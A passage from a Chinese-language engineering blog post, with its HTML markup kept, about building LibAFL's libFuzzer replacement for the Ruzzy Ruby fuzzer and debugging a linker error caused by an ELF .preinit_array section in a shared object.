LLVM 的 libFuzzer 构建的,所以借助 LibAFL 的兼容层应该不难才对。然而,深入复杂系统的内部时,事情往往没那么简单。在这篇文章里,我会探究这些模糊测试引擎深层的实现细节,顺道绕一圈可执行与可链接格式 ( ELF ) 文件,最终为 Ruzzy 加上 LibAFL 支持。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用 libafl_libfuzzer 进行构建</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Ruzzy 目前支持 Linux,所以无论是开发还是生产环境的模糊测试,我都依赖一个 Dockerfile。沿着这个思路,用一个类似的 Dockerfile 来集成 LibAFL 是最简单的切入点。LibAFL 提供了出色的文档和构建脚本,可以将其作为独立库使用。我们需要把 LibAFL 构建为独立库,因为 Ruzzy 将 libFuzzer 作为库使用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">按照独立 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libafl_libfuzzer</span></code><span leaf="">的文档,再配合 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">build.sh</span></code><span leaf="">脚本,我们就能构建出 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libFuzzer.a</span></code><span leaf="">。这个静态库最终会被链接进 Ruzzy 的 C 扩展,用于对目标进行模糊测试。下面是新 Dockerfile 中相关的几行:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf=""># Install Rust nightly via rustup</span><span leaf=""><br/></span></span><span leaf="">RUN wget -qO- <a href="https://sh.rustup.rs" target="_blank">https://sh.rustup.rs</a> </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""> sh -s -- </span><span style="color: rgb(0, 92, 197);"><span leaf="">\</span><span leaf=""><br/></span></span><span leaf="">    -y </span><span style="color: rgb(0, 92, 197);"><span leaf="">\</span><span leaf=""><br/></span></span><span leaf="">    --default-toolchain nightly </span><span style="color: rgb(0, 92, 197);"><span leaf="">\</span><span leaf=""><br/></span></span><span leaf="">    --component llvm-tools</span><span leaf=""><br/></span><span leaf="">ENV PATH=</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/root/.cargo/bin:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">${PATH}</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># Clone LibAFL</span><span leaf=""><br/></span></span><span leaf="">RUN git clone --depth 1 <a href="https://github.com/AFLplusplus/LibAFL" target="_blank">https://github.com/AFLplusplus/LibAFL</a> /libafl</span><span style="color: rgb(106, 115, 125);"><span leaf=""># Build libFuzzer.a from LibAFL&#39;s libfuzzer runtime</span><span leaf=""><br/></span></span><span leaf="">WORKDIR /libafl/crates/libafl_libfuzzer_runtime</span><span leaf=""><br/></span><span leaf="">RUN bash build.sh</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 1: 构建 LibAFL 的 libFuzzer.a ( Dockerfile.LibAFL )</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">整个过程顺利完成,我们得到了想要的产物 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libFuzzer.a</span></code><span leaf="">。接下来,我们需要对 Ruzzy 中确定 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fuzzer_no_main</span></code><span leaf="">库路径的机制做一点小调整。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fuzzer_no_main</span></code><span leaf="">配合 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-fsanitize=fuzzer-no-link</span></code><span leaf="">是 libFuzzer 的标准做法,用于对那些自带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">main</span></code><span leaf="">函数的代码进行模糊测试。这对解释型语言来说很合适,因为解释器自然会自带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">main</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为了让 Ruzzy 具备所需的灵活性,我们只需优先采用一个用于指定 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fuzzer_no_main</span></code><span leaf="">库路径的 ENV 变量 ( 如果存在 ) ,否则就回退到 Clang 的默认设置:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">FUZZER_NO_MAIN_LIB_ENV</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;FUZZER_NO_MAIN_LIB&#39;</span></span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">fuzzer_no_main_lib </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ENV</span></span><span leaf="">.fetch(</span><span style="color: rgb(0, 92, 197);"><span leaf="">FUZZER_NO_MAIN_LIB_ENV</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">nil</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> fuzzer_no_main_lib</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">LOGGER</span></span><span leaf="">.info(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Using #{</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">FUZZER_NO_MAIN_LIB_ENV</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">}=#{</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">fuzzer_no_main_lib</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">}&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unless</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">File</span></span><span leaf="">.exist?(fuzzer_no_main_lib)</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">LOGGER</span></span><span leaf="">.error(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;#{</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">FUZZER_NO_MAIN_LIB_ENV</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">} file does not exist: #{</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">fuzzer_no_main_lib</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">}&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">exit</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">end</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span leaf=""><br/></span><span leaf="">  fuzzer_no_main_libs </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> [</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;libclang_rt.fuzzer_no_main.a&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;libclang_rt.fuzzer_no_main-aarch64.a&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;libclang_rt.fuzzer_no_main-x86_64.a&#39;</span></span><span leaf=""><br/></span><span leaf="">  ]</span><span leaf=""><br/></span><span leaf="">  fuzzer_no_main_lib </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> fuzzer_no_main_libs.map { |</span><span style="color: rgb(36, 41, 46);"><span leaf="">lib</span></span><span leaf="">| get_clang_file_name(lib) }.find(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">:itself</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unless</span></span><span leaf=""> fuzzer_no_main_lib</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">LOGGER</span></span><span leaf="">.error(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Could not find fuzzer_no_main using #{</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">CC</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">}.&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">LOGGER</span></span><span leaf="">.error(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Please include #{</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">CC</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">} in your path or specify #{</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">FUZZER_NO_MAIN_LIB_ENV</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">} ENV variable.&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">exit</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">end</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">end</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 2: 允许通过 ENV 变量覆盖模糊测试库 ( ext/cruzzy/extconf.rb )</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在我们用 LibAFL 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libFuzzer.a</span></code><span leaf="">来构建 Ruzzy:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf=""># Copy LibAFL&#39;s libFuzzer.a from builder stage</span><span leaf=""><br/></span></span><span leaf="">COPY --from=libafl-builder /libafl/crates/libafl_libfuzzer_runtime/ libFuzzer.a /usr/lib/libFuzzer.a</span><span style="color: rgb(106, 115, 125);"><span leaf=""># Point Ruzzy at LibAFL&#39;s libFuzzer instead of clang&#39;s built-in</span><span leaf=""><br/></span></span><span leaf="">ENV FUZZER_NO_MAIN_LIB=</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/usr/lib/libFuzzer.a&#34;</span></span><span leaf=""><br/></span><span leaf="">WORKDIR ruzzy/</span><span leaf=""><br/></span><span leaf="">COPY </span><span style="color: rgb(0, 92, 197);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">.</span></span><span leaf=""><br/></span><span leaf="">RUN gem build</span><span leaf=""><br/></span><span leaf="">RUN RUZZY_DEBUG=1 gem install --development --verbose ruzzy-</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">.gem</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 3: 使用自定义 FUZZER_NO_MAIN_LIB 配合 LibAFL 构建 Ruzzy ( Dockerfile.LibAFL )</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然而,这会触发以下错误:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">INFO -- : Using FUZZER_NO_MAIN_LIB=/usr/lib/libFuzzer.a</span><span leaf=""><br/></span><span leaf="">DEBUG -- : Search for libclang_rt.asan.a using clang-21: success=true exists=false</span><span leaf=""><br/></span><span leaf="">DEBUG -- : Search for libclang_rt.asan-aarch64.a using clang-21: success=true exists=true</span><span leaf=""><br/></span><span leaf="">DEBUG -- : Search for libclang_rt.asan-x86_64.a using clang-21: success=true exists=false</span><span leaf=""><br/></span><span leaf="">DEBUG -- : Creating /usr/lib/llvm-21/lib/clang/21/lib/linux/libclang_rt.asan-aarch64.a sanitizer archive at /tmp/20260320-20-683d0b</span><span leaf=""><br/></span><span leaf="">DEBUG -- : Merging sanitizer at /tmp/20260320-20-683d0b with libFuzzer at /usr/lib/libFuzzer.a to asan_with_fuzzer.so</span><span leaf=""><br/></span><span leaf="">/usr/bin/ld: /usr/lib/libFuzzer.a(libFuzzer.o): .preinit_array section is not allowed in DSO</span><span leaf=""><br/></span><span leaf="">/usr/bin/ld: failed to set dynamic section sizes: nonrepresentable section on output</span><span leaf=""><br/></span><span leaf="">clang++-21: error: linker command failed with exit code 1 (use -v to see invocation)</span><span leaf=""><br/></span><span leaf="">ERROR -- : The clang++-21 shared object merging command failed.</span><span leaf=""><br/></span><span leaf="">*** extconf.rb failed ***</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 4: 链接 libFuzzer.a 失败</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这里关键的报错信息是 &#34;</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.preinit_array</span></code><span leaf="">section is not allowed in DSO&#34;。这对我来说是一条新错误。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.preinit_array</span></code><span leaf="">段到底是什么?这条错误想告诉我什么?相关的 ELF 文档是这么说的:</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px 0px 15px;"><span leaf="">Finally, </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">an executable file may have pre-initialization functions.</span></code><span leaf="">These functions are executed after the dynamic linker has built the process image and performed relocations but before any shared object initialization functions. </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Pre-initialization functions are not permitted in shared objects.</span></code></p><p style="margin: 15px 0px;"><span leaf="">...</span></p><p style="margin: 15px 0px 0px;"><span leaf="">The DT_PREINIT_ARRAY table is processed </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">only in an executable file; it is ignored if contained in a shared object.</span></code></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">也就是说,动态共享对象 ( DSO ) 不能包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.preinit_array</span></code><span leaf="">段,这正是错误信息所表达的意思。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.init</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.ctors</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.init_array</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.preinit_array</span></code><span leaf="">都是在 ELF 二进制中、于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">main</span></code><span leaf="">启动之前运行代码的机制。深入比较它们各自的作用以及执行顺序超出了本文范围 ( 可参考这篇说明 ) ,但我们这里只需明白:必须想办法绕开 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libafl_libfuzzer</span></code><span leaf="">的这一实现细节。下面对比一下 LibAFL 与 libFuzzer 在这一点上的差异:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">$ objdump -h /usr/lib/libFuzzer.a </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""> grep </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;init_array&#39;</span></span><span leaf=""><br/></span><span leaf="">3100 .init_array   00000228  ...</span><span leaf=""><br/></span><span leaf="">5047 .preinit_array 00000008  ...</span><span leaf=""><br/></span><span leaf="">32136 .init_array.00099 00000008  ...</span><span leaf=""><br/></span><span leaf="">37083 .init_array.90 00000010  ...</span><span leaf=""><br/></span><span leaf="">$ objdump -h libclang_rt.fuzzer-aarch64.a </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""> grep </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;init_array&#39;</span></span><span leaf=""><br/></span><span leaf=""> 40 .init_array   00000008  ...</span><span 